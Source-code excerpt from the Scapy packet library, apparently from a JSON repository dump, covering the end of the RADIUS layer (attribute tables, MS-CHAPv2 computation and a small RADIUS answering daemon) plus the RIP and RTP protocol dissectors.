Function\",\n        38: \"WIMAX-WIFI-IWK: WiMAX WIFI Interworking\",\n        39: \"WIMAX-SFF: Signaling Forwarding Function for LTE/3GPP2\",\n        40: \"WIMAX-HA-LMA: WiMAX HA and or LMA function\",\n        41: \"WIMAX-DHCP: WIMAX DHCP service\",\n        42: \"WIMAX-LBS: WiMAX location based service\",\n        43: \"WIMAX-WVS: WiMAX voice service\"\n    },\n\n    # Tunnel-Type\n    64:\n    {\n        1: \"Point-to-Point Tunneling Protocol (PPTP)\",\n        2: \"Layer Two Forwarding (L2F)\",\n        3: \"Layer Two Tunneling Protocol (L2TP)\",\n        4: \"Ascend Tunnel Management Protocol (ATMP)\",\n        5: \"Virtual Tunneling Protocol (VTP)\",\n        6: \"IP Authentication Header in the Tunnel-mode (AH)\",\n        7: \"IP-in-IP Encapsulation (IP-IP)\",\n        8: \"Minimal IP-in-IP Encapsulation (MIN-IP-IP)\",\n        9: \"IP Encapsulating Security Payload in the Tunnel-mode (ESP)\",\n        10: \"Generic Route Encapsulation (GRE)\",\n        11: \"Bay Dial Virtual Services (DVS)\",\n        12: \"IP-in-IP Tunneling\",\n        13: \"Virtual LANs (VLAN)\"\n    },\n\n    # Tunnel-Medium-Type\n    65:\n    {\n        1: \"IPv4 (IP version 4)\",\n        2: \"IPv6 (IP version 6)\",\n        3: \"NSAP\",\n        4: \"HDLC (8-bit multidrop)\",\n        5: \"BBN 1822\",\n        6: \"802\",\n        7: \"E.163 (POTS)\",\n        8: \"E.164 (SMDS, Frame Relay, ATM)\",\n        9: \"F.69 (Telex)\",\n        10: \"X.121 (X.25, Frame Relay)\",\n        11: \"IPX\",\n        12: \"Appletalk\",\n        13: \"Decnet IV\",\n        14: \"Banyan Vine\",\n        15: \"E.164 with NSAP format subaddress\"\n    },\n\n    # ARAP-Zone-Access\n    72:\n    {\n        1: \"Only allow access to default zone\",\n        2: \"Use zone filter inclusively\",\n        3: \"Not used\",\n        4: \"Use zone filter exclusively\"\n    },\n\n    # Prompt\n    76:\n    {\n        0: \"No Echo\",\n        1: \"Echo\"\n    },\n\n    # Error-Cause Attribute\n    101:\n    {\n        201: \"Residual Session Context Removed\",\n        202: \"Invalid EAP Packet (Ignored)\",\n        401: \"Unsupported Attribute\",\n        402: \"Missing Attribute\",\n        403: \"NAS Identification Mismatch\",\n        404: \"Invalid Request\",\n        405: \"Unsupported Service\",\n        406: \"Unsupported Extension\",\n        407: \"Invalid Attribute Value\",\n        501: \"Administratively Prohibited\",\n        502: \"Request Not Routable (Proxy)\",\n        503: \"Session Context Not Found\",\n        504: \"Session Context Not Removable\",\n        505: \"Other Proxy Processing Error\",\n        506: \"Resources Unavailable\",\n        507: \"Request Initiated\",\n        508: \"Multiple Session Selection Unsupported\",\n        509: \"Location-Info-Required\",\n        601: \"Response Too Big\"\n    },\n\n    # Operator Namespace Identifier - Attribute 126\n    126:\n    {\n        0x30: \"TADIG\",\n        0x31: \"REALM\",\n        0x32: \"E212\",\n        0x33: \"ICC\",\n        0xFF: \"Reserved\"\n    },\n\n    # Basic-Location-Policy-Rules\n    129:\n    {\n        0: \"Retransmission allowed\",\n    },\n\n    # Location-Capable\n    131:\n    {\n        1: \"CIVIC_LOCATION\",\n        2: \"GEO_LOCATION\",\n        4: \"USERS_LOCATION\",\n        8: \"NAS_LOCATION\"\n    },\n\n    # Framed-Management-Protocol\n    133:\n    {\n        1: \"SNMP\",\n        2: \"Web-based\",\n        3: \"NETCONF\",\n        4: \"FTP\",\n        5: \"TFTP\",\n        6: \"SFTP\",\n        7: \"RCP\",\n        8: \"SCP\"\n    },\n\n    # Management-Transport-Protection\n    134:\n    {\n        1: \"No-Protection\",\n        2: \"Integrity-Protection\",\n        3: \"Integrity-Confidentiality-Protection\",\n    },\n}\n\n\nclass _RadiusAttrIntEnumVal(_SpecificRadiusAttr):\n    \"\"\"\n    Implements a RADIUS attribute which value field is 4 bytes long integer.\n    \"\"\"\n\n    __slots__ = [\"val\"]\n\n    fields_desc = [\n        ByteEnumField(\"type\", 6, _radius_attribute_types),\n        ByteField(\"len\", 6),\n        MultiEnumField(\n            \"value\",\n            0,\n            _radius_attrs_values,\n            depends_on=lambda p: p.type,\n            fmt=\"I\"\n        )\n    ]\n\n\nclass RadiusAttr_Service_Type(_RadiusAttrIntEnumVal):\n    \"\"\"RFC 2865\"\"\"\n    val = 6\n\n\nclass RadiusAttr_Framed_Protocol(_RadiusAttrIntEnumVal):\n    \"\"\"RFC 2865\"\"\"\n    val = 7\n\n\nclass RadiusAttr_Acct_Status_Type(_RadiusAttrIntEnumVal):\n    \"\"\"RFC 2866\"\"\"\n    val = 40\n\n\nclass RadiusAttr_Acct_Authentic(_RadiusAttrIntEnumVal):\n    \"\"\"RFC 2866\"\"\"\n    val = 45\n\n\nclass RadiusAttr_Acct_Terminate_Cause(_RadiusAttrIntEnumVal):\n    \"\"\"RFC 2866\"\"\"\n    val = 49\n\n\nclass RadiusAttr_NAS_Port_Type(_RadiusAttrIntEnumVal):\n    \"\"\"RFC 2865\"\"\"\n    val = 61\n\n#\n# RADIUS attributes that are complex structures\n#\n\n\nclass _EAPPacketField(PacketLenField):\n    \"\"\"\n    Handles EAP-Message attribute value (the actual EAP packet).\n    \"\"\"\n\n    def m2i(self, pkt, m):\n        ret = None\n        eap_packet_len = struct.unpack(\"!H\", m[2:4])[0]\n        if eap_packet_len < 254:\n            # If the EAP packet has not been fragmented, build a Scapy EAP\n            # packet from the data.\n            ret = EAP(m)\n        else:\n            ret = conf.raw_layer(m)\n        return ret\n\n\nclass RadiusAttr_EAP_Message(RadiusAttribute):\n    \"\"\"\n    Implements the \"EAP-Message\" attribute (RFC 3579).\n    \"\"\"\n    name = \"EAP-Message\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"type\", 79, _radius_attribute_types),\n        FieldLenField(\n            \"len\",\n            None,\n            \"value\",\n            \"B\",\n            adjust=lambda pkt, x: x + 2\n        ),\n        _EAPPacketField(\"value\", \"\", EAP, length_from=lambda p: p.len - 2)\n    ]\n\n    def post_dissect(self, s):\n        if not conf.contribs.get(\"radius\", {}).get(\"auto-defrag\", True):\n            return s\n        if isinstance(self.value, conf.raw_layer):\n            # Defragment\n            x = s\n            buf = self.value.load\n            while x and struct.unpack(\"!B\", x[:1])[0] == 79:\n                # Let's carefully avoid the infinite loop\n                length = struct.unpack(\"!B\", x[1:2])[0]\n                if not length:\n                    return s\n                buf, x = buf + x[2:length], x[length:]\n                if length < 254:\n                    self.value = EAP(buf)\n                    return x\n        return s\n\n\n_radius_vendor_types = {\n    # Microsoft (RFC 2548)\n    311: {\n        1: \"MS-CHAP-Response\",\n        2: \"MS-CHAP-Error\",\n        3: \"MS-CHAP-CPW-1\",\n        4: \"MS-CHAP-CPW-2\",\n        5: \"MS-CHAP-LM-Enc-PW\",\n        6: \"MS-CHAP-NT-Enc-PW\",\n        7: \"MS-MPPE-Encryption-Policy\",\n        8: \"MS-MPPE-Encryption-Type\",\n        9: \"MS-RAS-Vendor\",\n        10: \"MS-CHAP-Domain\",\n        11: \"MS-CHAP-Challenge\",\n        12: \"MS-CHAP-MPPE-Keys\",\n        13: \"MS-BAP-Usage\",\n        14: \"MS-Link-Utilization-Threshold\",\n        15: \"MS-Link-Drop-Time-Limit\",\n        16: \"MS-MPPE-Send-Key\",\n        17: \"MS-MPPE-Recv-Key\",\n        18: \"MS-RAS-Version\",\n        19: \"MS-Old-ARAP-Password\",\n        20: \"MS-New-ARAP-Password\",\n        21: \"MS-ARAP-PW-Change-Reason\",\n        22: \"MS-Filter\",\n        23: \"MS-Acct-Auth-Type\",\n        24: \"MS-Acct-EAP-Type\",\n        25: \"MS-CHAP2-Response\",\n        26: \"MS-CHAP2-Success\",\n        27: \"MS-CHAP2-CPW\",\n        28: \"MS-Primary-DNS-Server\",\n        29: \"MS-Secondary-DNS-Server\",\n        30: \"MS-Primary-NBNS-Server\",\n        31: \"MS-Secondary-NBNS-Server\",\n        33: \"MS-ARAP-Challenge\",\n    }\n}\n\n\nclass _RadiusAttrVendorValue(Packet):\n    \"\"\"\n    Used to register a 'value' vendor-specific\n    \"\"\"\n    registered_vendor_value = collections.defaultdict(dict)\n    VENDOR_ID = 0\n    VENDOR_TYPE = 0\n\n    @classmethod\n    def register_variant(cls):\n        cls.registered_vendor_value[cls.VENDOR_ID][cls.VENDOR_TYPE] = cls\n\n\ndef _radius_vendor_cls(pkt):\n    \"\"\"\n    Return the class that makes for a 'value' in the vendor attribute, or None.\n    \"\"\"\n    if pkt.vendor_id not in _RadiusAttrVendorValue.registered_vendor_value:\n        return None\n    return _RadiusAttrVendorValue.registered_vendor_value[pkt.vendor_id].get(\n        pkt.vendor_type,\n        None,\n    )\n\n\nclass _RadiusVendorValueField(PacketLenField):\n    def m2i(self, pkt, s):\n        return _radius_vendor_cls(pkt)(s, _parent=pkt)\n\n\nclass RadiusAttr_Vendor_Specific(RadiusAttribute):\n    \"\"\"\n    Implements the \"Vendor-Specific\" attribute, as described in RFC 2865.\n    \"\"\"\n\n    name = \"Vendor-Specific\"\n    match_subclass = True\n    fields_desc = [\n        ByteEnumField(\"type\", 26, _radius_attribute_types),\n        FieldLenField(\n            \"len\",\n            None,\n            \"value\",\n            \"B\",\n            adjust=lambda pkt, x: len(pkt.value) + 8\n        ),\n        IntEnumField(\"vendor_id\", 0, {\n            311: \"Microsoft\",\n        }),\n        MultiEnumField(\n            \"vendor_type\",\n            0,\n            _radius_vendor_types,\n            depends_on=lambda p: p.vendor_id,\n            fmt=\"B\"\n        ),\n        FieldLenField(\n            \"vendor_len\",\n            None,\n            \"value\",\n            \"B\",\n            adjust=lambda p, x: len(p.value) + 2\n        ),\n        MultipleTypeField(\n            [\n                (\n                    _RadiusVendorValueField(\"value\", None, None,\n                                            length_from=lambda p: p.vendor_len - 2),\n                    lambda pkt: _radius_vendor_cls(pkt) is not None\n                )\n            ],\n            StrLenField(\"value\", \"\", length_from=lambda p: p.vendor_len - 2),\n        )\n    ]\n\n\n# See IANA RADIUS Packet Type Codes registry\n_packet_codes = {\n    1: \"Access-Request\",\n    2: \"Access-Accept\",\n    3: \"Access-Reject\",\n    4: \"Accounting-Request\",\n    5: \"Accounting-Response\",\n    6: \"Accounting-Status (now Interim Accounting)\",\n    7: \"Password-Request\",\n    8: \"Password-Ack\",\n    9: \"Password-Reject\",\n    10: \"Accounting-Message\",\n    11: \"Access-Challenge\",\n    12: \"Status-Server (experimental)\",\n    13: \"Status-Client (experimental)\",\n    21: \"Resource-Free-Request\",\n    22: \"Resource-Free-Response\",\n    23: \"Resource-Query-Request\",\n    24: \"Resource-Query-Response\",\n    25: \"Alternate-Resource-Reclaim-Request\",\n    26: \"NAS-Reboot-Request\",\n    27: \"NAS-Reboot-Response\",\n    28: \"Reserved\",\n    29: \"Next-Passcode\",\n    30: \"New-Pin\",\n    31: \"Terminate-Session\",\n    32: \"Password-Expired\",\n    33: \"Event-Request\",\n    34: \"Event-Response\",\n    40: \"Disconnect-Request\",\n    41: \"Disconnect-ACK\",\n    42: \"Disconnect-NAK\",\n    43: \"CoA-Request\",\n    44: \"CoA-ACK\",\n    45: \"CoA-NAK\",\n    50: \"IP-Address-Allocate\",\n    51: \"IP-Address-Release\",\n    52: \"Protocol-Error\",\n    250: \"Experimental Use\",\n    251: \"Experimental Use\",\n    252: \"Experimental Use\",\n    253: \"Experimental Use\",\n    254: \"Reserved\",\n    255: \"Reserved\"\n}\n\n\nclass Radius(Packet):\n    \"\"\"\n    Implements a RADIUS packet (RFC 2865).\n    \"\"\"\n\n    name = \"RADIUS\"\n    fields_desc = [\n        ByteEnumField(\"code\", 1, _packet_codes),\n        ByteField(\"id\", 0),\n        FieldLenField(\n            \"len\",\n            None,\n            \"attributes\",\n            \"H\",\n            adjust=lambda pkt, x: len(pkt.attributes) + 20\n        ),\n        XStrFixedLenField(\"authenticator\", \"\", 16),\n        PacketListField(\n            \"attributes\",\n            [],\n            RadiusAttribute,\n            length_from=lambda pkt: pkt.len - 20\n        )\n    ]\n\n    def compute_authenticator(self, packed_request_auth, shared_secret):\n        \"\"\"\n        Computes the authenticator field (RFC 2865 - Section 3)\n        \"\"\"\n\n        data = prepare_packed_data(self, packed_request_auth)\n        radius_mac = hashlib.md5(data + shared_secret)\n        return radius_mac.digest()\n\n    def post_build(self, p, pay):\n        p += pay\n        length = self.len\n        if length is None:\n            length = len(p)\n            p = p[:2] + struct.pack(\"!H\", length) + p[4:]\n        return p\n\n    def mysummary(self):\n        extra = \"\"\n        if self.code == 1:\n            # Access-Request\n            attrs = {\n                (\n                    (x.vendor_id, x.vendor_type)\n                    if RadiusAttr_Vendor_Specific in x else\n                    x.type\n                ): x\n                for x in self.attributes\n                if isinstance(x, RadiusAttribute)\n            }\n            # Log additional attributes\n            if 1 in attrs:\n                extra += \"User:'%s' \" % attrs[1].value.decode(errors=\"ignore\")\n            # Try to detect the logon algo\n            if 2 in attrs:\n                extra += \"PAP\"\n            elif 3 in attrs:\n                extra += \"CHAP\"\n            elif 79 in attrs:\n                extra += \"EAP\"\n            elif (311, 1) in attrs:\n                extra += \"MS-CHAP\"\n            elif (311, 25) in attrs:\n                extra += \"MS-CHAP2\"\n        if extra:\n            extra = \" (%s)\" % extra.strip()\n        return self.sprintf(\"RADIUS %code%\") + extra\n\n\nbind_bottom_up(UDP, Radius, sport=1812)\nbind_bottom_up(UDP, Radius, dport=1812)\nbind_bottom_up(UDP, Radius, sport=1813)\nbind_bottom_up(UDP, Radius, dport=1813)\nbind_bottom_up(UDP, Radius, sport=3799)\nbind_bottom_up(UDP, Radius, dport=3799)\nbind_layers(UDP, Radius, sport=1812, dport=1812)\n\n\n# MS-CHAP2\n\n# RFC 2548 sect 2.3.2\n\nclass MS_CHAP2_Response(_RadiusAttrVendorValue):\n    VENDOR_ID = 311\n    VENDOR_TYPE = 25\n    fields_desc = [\n        ByteField(\"Ident\", 0),\n        ByteField(\"Flags\", 0),\n        XStrFixedLenField(\"PeerChallenge\", b\"\", length=16),\n        XStrFixedLenField(\"Reserved\", b\"\", length=8),\n        XStrFixedLenField(\"Response\", b\"\", length=24),\n    ]\n\n\n# RFC 2548 sect 2.3.3\n\nclass MS_CHAP2_Success(_RadiusAttrVendorValue):\n    VENDOR_ID = 311\n    VENDOR_TYPE = 26\n    fields_desc = [\n        ByteField(\"Ident\", 0),\n        StrFixedLenField(\"String\", b\"\", length=42),\n    ]\n\n\n# RFC 2548 sect 2.1.5\n\nclass MS_CHAP_Error(_RadiusAttrVendorValue):\n    VENDOR_ID = 311\n    VENDOR_TYPE = 2\n    fields_desc = [\n        ByteField(\"Ident\", 0),\n        StrField(\"String\", b\"\"),\n    ]\n\n\n# RFC 2548 sect 2.1.4\n\nclass MS_CHAP_Domain(_RadiusAttrVendorValue):\n    VENDOR_ID = 311\n    VENDOR_TYPE = 10\n    fields_desc = [\n        ByteField(\"Ident\", 0),\n        StrField(\"String\", b\"\"),\n    ]\n\n\ndef MS_CHAP2_GenerateNTResponse(AuthenticatorChallenge, PeerChallenge,\n                                UserName, HashNT):\n    \"\"\"\n    RFC2759 sect 8.1\n    \"\"\"\n    Challenge = MS_CHAP2_ChallengeHash(PeerChallenge, AuthenticatorChallenge, UserName)\n    PasswordHash = HashNT\n    return MS_CHAP2_ChallengeResponse(Challenge, PasswordHash)\n\n\ndef MS_CHAP2_ChallengeHash(PeerChallenge, AuthenticatorChallenge, UserName):\n    \"\"\"\n    rfc 2759 sect 8.2\n    \"\"\"\n    UserName = UserName.split(b\"\\\\\")[-1]  # Strip domain if present\n    return Hash_SHA().digest(PeerChallenge + AuthenticatorChallenge + UserName)[:8]\n\n\ndef MS_CHAP2_ChallengeResponse(Challenge, PasswordHash):\n    \"\"\"\n    rfc 2759 sect 8.5\n    \"\"\"\n    ZPasswordHash = int.from_bytes(\n        PasswordHash + b\"\\x00\" * (-len(PasswordHash) % 21),\n        \"big\",\n    )\n\n    # Add !FAKE! DES parity bits because cryptography requires them (then drops them)\n    ZPasswordHashParity = b\"\"\n    for _ in range(24):\n        val, ZPasswordHash = (ZPasswordHash & 0x7F), (ZPasswordHash >> 7)\n        ZPasswordHashParity = struct.pack(\"B\", val << 1) + ZPasswordHashParity\n\n    return (\n        Cipher_DES_ECB(ZPasswordHashParity[0:8]).encrypt(Challenge) +\n        Cipher_DES_ECB(ZPasswordHashParity[8:16]).encrypt(Challenge) +\n        Cipher_DES_ECB(ZPasswordHashParity[16:24]).encrypt(Challenge)\n    )\n\n\ndef MS_CHAP2_GenerateAuthenticatorResponse(HashNT,\n                                           NTResponse,\n                                           PeerChallenge,\n                                           AuthenticatorChallenge,\n                                           UserName):\n    \"\"\"\n    rfc 2759 sect 8.7\n    \"\"\"\n    Magic1 = bytes(bytearray([\n        0x4D, 0x61, 0x67, 0x69, 0x63, 0x20, 0x73, 0x65, 0x72, 0x76,\n        0x65, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x6C, 0x69, 0x65,\n        0x6E, 0x74, 0x20, 0x73, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67,\n        0x20, 0x63, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74,\n    ]))\n    Magic2 = bytes(bytearray([\n        0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B,\n        0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F,\n        0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E,\n        0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F,\n        0x6E\n    ]))\n    PasswordHash = HashNT\n    PasswordHashHash = Hash_MD4().digest(PasswordHash)\n\n    Digest = Hash_SHA().digest(PasswordHashHash + NTResponse + Magic1)\n\n    Challenge = MS_CHAP2_ChallengeHash(\n        PeerChallenge,\n        AuthenticatorChallenge,\n        UserName,\n    )\n\n    return Hash_SHA().digest(Digest + Challenge + Magic2)\n\n\n# Answering machine\n\nclass RadiusAuthType(enum.Enum):\n    MS_CHAP_V2 = enum.auto()\n    EAP = enum.auto()\n\n\n@crypto_validator\nclass Radius_am(AnsweringMachine):\n    function_name = \"radiusd\"\n    filter = \"udp and port 1812\"\n    send_function = staticmethod(send)\n    send_options_list = [\"inter\", \"verbose\"]\n\n    def parse_options(self,\n                      secret,\n                      IDENTITIES=None,\n                      IDENTITIES_MSCHAPv2=None,\n                      servicetype=None,\n                      mschapdomain=None,\n                      extra_attributes=[]):\n        \"\"\"\n        This provides a tiny RADIUS daemon that answers Access-Request messages.\n        This can be used while setting up a Cisco switch for instance.\n\n        Demo::\n\n            >>> radiusd(secret=\"SECRET\", iface=\"lo\", IDENTITIES={\"user\": \"password\"})\n            $ echo \"Message-Authenticator=0x00,User-Name=user,\\\\\n                    User-Password=password\" | radclient -P udp 127.0.0.1 auth -F SECRET\n\n        :param secret: the server's secret\n        :param IDENTITIES: the identities in format {\"username\": b\"password\"}\n        :param IDENTITIES_MSCHAPv2: the MsCHAPv2 identities in format\n            {\"username\": b\"HashNT\"}. The HashNT can be obtained\n            using MD4le(). If IDENTITIES is provided, this will be calculated.\n        :param servicetype: the Service-Type to answer.\n        :param mschapdomain: the MS-CHAP-DOMAIN to answer if MS-CHAP* is used.\n        :param extra_attributes: a list of extra Radius attributes\n        \"\"\"\n        self.secret = bytes_encode(secret)\n        self.servicetype = servicetype\n        self.mschapdomain = mschapdomain\n        self.extra_attributes = extra_attributes\n        if not IDENTITIES:\n            IDENTITIES = {}\n        if IDENTITIES_MSCHAPv2 is None and IDENTITIES:\n            IDENTITIES_MSCHAPv2 = {\n                user: MD4le(pwd)\n                for user, pwd in IDENTITIES.items()\n            }\n        self.IDENTITIES = {\n            user: bytes_encode(pwd)\n            for user, pwd in IDENTITIES.items()\n        }\n        self.IDENTITIES_MSCHAPv2 = IDENTITIES_MSCHAPv2\n\n    def is_request(self, req):\n        # Only match Access-Request\n        return Radius in req and req[Radius].code == 1\n\n    def print_reply(self, req, reply):\n        print(\"%s / %s -> %s\" % (\n            reply[IP].dst,\n            req[Radius].summary(),\n            (\n                conf.color_theme.fail\n                if reply.code != 2 else\n                conf.color_theme.success\n            )(reply.sprintf(\"%Radius.code%\")),\n        ))\n\n    def make_reply(self, req):\n        resp = req\n\n        # Basic response\n        resp = (\n            IP(src=req[IP].dst, dst=req[IP].src) /\n            UDP(sport=req[UDP].dport, dport=req[UDP].sport)\n        )\n\n        # Sort attributes for quick access\n        attrs = {\n            (\n                (x.vendor_id, x.vendor_type)\n                if RadiusAttr_Vendor_Specific in x else\n                x.type\n            ): x\n            for x in req.attributes\n        }\n\n        # Build Radius response\n        rad = Radius(code=2, id=req[Radius].id)\n\n        # Process various authentication methods\n        try:\n            if 2 in attrs:\n                # PAP\n                if not self.IDENTITIES:\n                    raise Scapy_Exception(\n                        \"Missing IDENTITIES for User-Password auth ! Assuming OK.\"\n                    )\n\n                UserName = attrs[1].value\n                KnownPassword = self.IDENTITIES.get(UserName.decode(), None)\n                UserPassword = attrs[2].decrypt(\n                    req,\n                    self.secret,\n                )\n\n                if KnownPassword is None:\n                    log_runtime.warning(\"Couldn't find user '%s'\" % UserName.decode())\n                    rad.code = 3\n                elif UserPassword != KnownPassword:\n                    log_runtime.warning(\n                        \"Bad password for user '%s'\" % UserName.decode()\n                    )\n                    rad.code = 3\n            elif 79 in attrs:\n                # EAP-Message is used\n                raise Scapy_Exception(\n                    \"EAP as a Radius auth method is not implemented !\"\n                )\n            elif (311, 25) in attrs:\n                # MS-CHAP2\n                if not self.IDENTITIES_MSCHAPv2:\n                    raise Scapy_Exception(\"Missing IDENTITIES_MSCHAPv2 for MsChapV2 !\")\n\n                response = attrs[(311, 25)].value\n                try:\n                    AuthenticatorChallenge = attrs[(311, 11)].value  # CHAP-Challenge\n                except KeyError:\n                    raise Scapy_Exception(\"Missing CHAP-Challenge !\")\n\n                UserName = attrs[1].value\n                HashNT = self.IDENTITIES_MSCHAPv2.get(UserName.decode(), None)\n\n                # 1. Check the client-provided NTResponse\n                if HashNT is None:\n                    log_runtime.warning(\"Couldn't find user '%s'\" % UserName.decode())\n                    rad.code = 3\n                elif MS_CHAP2_GenerateNTResponse(\n                        AuthenticatorChallenge,\n                        response.PeerChallenge,\n                        UserName,\n                        HashNT) != response.Response:\n                    log_runtime.warning(\n                        \"Bad MS-CHAP2-NTResponse for user '%s' !\" % UserName.decode()\n                    )\n                    rad.code = 3\n\n                # Did the auth failed?\n                if rad.code == 3:\n                    rad.attributes.append(\n                        RadiusAttr_Vendor_Specific(\n                            vendor_id=\"Microsoft\",\n                            vendor_type=2,\n                            value=MS_CHAP_Error(\n                                Ident=response.Ident,\n                                String=\"E=691 R=0 V=3\",\n                            ),\n                        )\n                    )\n                else:\n                    # 2. Build the response 'success' response\n                    auth_string = MS_CHAP2_GenerateAuthenticatorResponse(\n                        HashNT,\n                        response.Response,\n                        response.PeerChallenge,\n                        AuthenticatorChallenge,\n                        UserName,\n                    )\n                    rad.attributes.append(\n                        RadiusAttr_Vendor_Specific(\n                            vendor_id=311,\n                            vendor_type=\"MS-CHAP2-Success\",\n                            value=MS_CHAP2_Success(\n                                Ident=response.Ident,\n                                String=\"S=%s\" % auth_string.hex().upper()\n                            )\n                        )\n                    )\n                    if self.mschapdomain is not None:\n                        rad.attributes.append(\n                            RadiusAttr_Vendor_Specific(\n                                vendor_id=311,\n                                vendor_type=\"MS-CHAP-Domain\",\n                                value=MS_CHAP_Domain(\n                                    Ident=response.Ident,\n                                    String=self.mschapdomain,\n                                )\n                            )\n                        )\n            else:\n                raise Scapy_Exception(\n                    \"Authentication method not provided or unsupported !\"\n                )\n        except Scapy_Exception as ex:\n            # display a warning\n            log_runtime.warning(str(ex))\n\n        # Add additional records if it's an accept\n        if rad.code == 2:\n            if self.servicetype is not None:\n                rad.attributes.append(\n                    RadiusAttr_Service_Type(value=self.servicetype)\n                )\n\n            rad.attributes.extend(self.extra_attributes)\n\n        # Add and compute message authenticator\n        mauth = RadiusAttr_Message_Authenticator()\n        rad.attributes.insert(0, mauth)\n        mauth.value = mauth.compute_message_authenticator(\n            rad,\n            req.authenticator,\n            self.secret,\n        )\n\n        # Add global authenticator\n        rad.authenticator = rad.compute_authenticator(req.authenticator, self.secret)\n\n        # Final packet\n        return resp / rad\n"
  },
  {
    "path": "scapy/layers/rip.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nRIP (Routing Information Protocol).\n\"\"\"\n\nfrom scapy.packet import Packet, bind_layers, bind_bottom_up\nfrom scapy.fields import ByteEnumField, ByteField, ConditionalField, \\\n    IPField, IntEnumField, IntField, ShortEnumField, ShortField, \\\n    StrFixedLenField, StrLenField\nfrom scapy.layers.inet import UDP\n\n\nclass RIP(Packet):\n    name = \"RIP header\"\n    fields_desc = [\n        ByteEnumField(\"cmd\", 1, {1: \"req\", 2: \"resp\", 3: \"traceOn\", 4: \"traceOff\",  # noqa: E501\n                                 5: \"sun\", 6: \"trigReq\", 7: \"trigResp\", 8: \"trigAck\",  # noqa: E501\n                                 9: \"updateReq\", 10: \"updateResp\", 11: \"updateAck\"}),  # noqa: E501\n        ByteField(\"version\", 1),\n        ShortField(\"null\", 0),\n    ]\n\n    def guess_payload_class(self, payload):\n        if payload[:2] == b\"\\xff\\xff\":\n            return RIPAuth\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass RIPEntry(RIP):\n    name = \"RIP entry\"\n    fields_desc = [\n        ShortEnumField(\"AF\", 2, {2: \"IP\"}),\n        ShortField(\"RouteTag\", 0),\n        IPField(\"addr\", \"0.0.0.0\"),\n        IPField(\"mask\", \"0.0.0.0\"),\n        IPField(\"nextHop\", \"0.0.0.0\"),\n        IntEnumField(\"metric\", 1, {16: \"Unreach\"}),\n    ]\n\n\nclass RIPAuth(Packet):\n    name = \"RIP authentication\"\n    fields_desc = [\n        ShortEnumField(\"AF\", 0xffff, {0xffff: \"Auth\"}),\n        ShortEnumField(\"authtype\", 2, {1: \"md5authdata\", 2: \"simple\", 3: \"md5\"}),  # noqa: E501\n        ConditionalField(StrFixedLenField(\"password\", None, 16),\n                         lambda pkt: pkt.authtype == 2),\n        ConditionalField(ShortField(\"digestoffset\", 0),\n                         lambda pkt: pkt.authtype == 3),\n        ConditionalField(ByteField(\"keyid\", 0),\n                         lambda pkt: pkt.authtype == 3),\n        ConditionalField(ByteField(\"authdatalen\", 0),\n                         lambda pkt: pkt.authtype == 3),\n        ConditionalField(IntField(\"seqnum\", 0),\n                         lambda pkt: pkt.authtype == 3),\n        ConditionalField(StrFixedLenField(\"zeropad\", None, 8),\n                         lambda pkt: pkt.authtype == 3),\n        ConditionalField(StrLenField(\"authdata\", None,\n                                     length_from=lambda pkt: pkt.md5datalen),\n                         lambda pkt: pkt.authtype == 1)\n    ]\n\n    def pre_dissect(self, s):\n        if s[2:4] == b\"\\x00\\x01\":\n            self.md5datalen = len(s) - 4\n\n        return s\n\n\nbind_bottom_up(UDP, RIP, dport=520)\nbind_bottom_up(UDP, RIP, sport=520)\nbind_layers(UDP, RIP, sport=520, dport=520)\nbind_layers(RIP, RIPEntry,)\nbind_layers(RIPEntry, RIPEntry,)\nbind_layers(RIPAuth, RIPEntry,)\n"
  },
  {
    "path": "scapy/layers/rtp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nRTP (Real-time Transport Protocol).\n\nRemember to use::\n\n    bind_layers(UDP, RTP, dport=XXX)\n\nTo register the port you are using\n\"\"\"\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import BitEnumField, BitField, BitFieldLenField, \\\n    FieldLenField, FieldListField, IntField, ShortField\n\n_rtp_payload_types = {\n    # http://www.iana.org/assignments/rtp-parameters\n    0: 'G.711 PCMU', 3: 'GSM',\n    4: 'G723', 5: 'DVI4',\n    6: 'DVI4', 7: 'LPC',\n    8: 'PCMA', 9: 'G722',\n    10: 'L16', 11: 'L16',\n    12: 'QCELP', 13: 'CN',\n    14: 'MPA', 15: 'G728',\n    16: 'DVI4', 17: 'DVI4',\n    18: 'G729', 25: 'CelB',\n    26: 'JPEG', 28: 'nv',\n    31: 'H261', 32: 'MPV',\n    33: 'MP2T', 34: 'H263'}\n\n\nclass RTPExtension(Packet):\n    name = \"RTP extension\"\n    fields_desc = [ShortField(\"header_id\", 0),\n                   FieldLenField(\"header_len\", None, count_of=\"header\", fmt=\"H\"),  # noqa: E501\n                   FieldListField('header', [], IntField(\"hdr\", 0), count_from=lambda pkt: pkt.header_len)]  # noqa: E501\n\n\nclass RTP(Packet):\n    name = \"RTP\"\n    fields_desc = [BitField('version', 2, 2),\n                   BitField('padding', 0, 1),\n                   BitField('extension', 0, 1),\n                   BitFieldLenField('numsync', None, 4, count_of='sync'),\n                   BitField('marker', 0, 1),\n                   BitEnumField('payload_type', 0, 7, _rtp_payload_types),\n                   ShortField('sequence', 0),\n                   IntField('timestamp', 0),\n                   IntField('sourcesync', 0),\n                   FieldListField('sync', [], IntField(\"id\", 0), count_from=lambda pkt:pkt.numsync)]  # noqa: E501\n\n\nbind_layers(RTP, RTPExtension, extension=1)\n"
  },
  {
    "path": "scapy/layers/sctp.py",
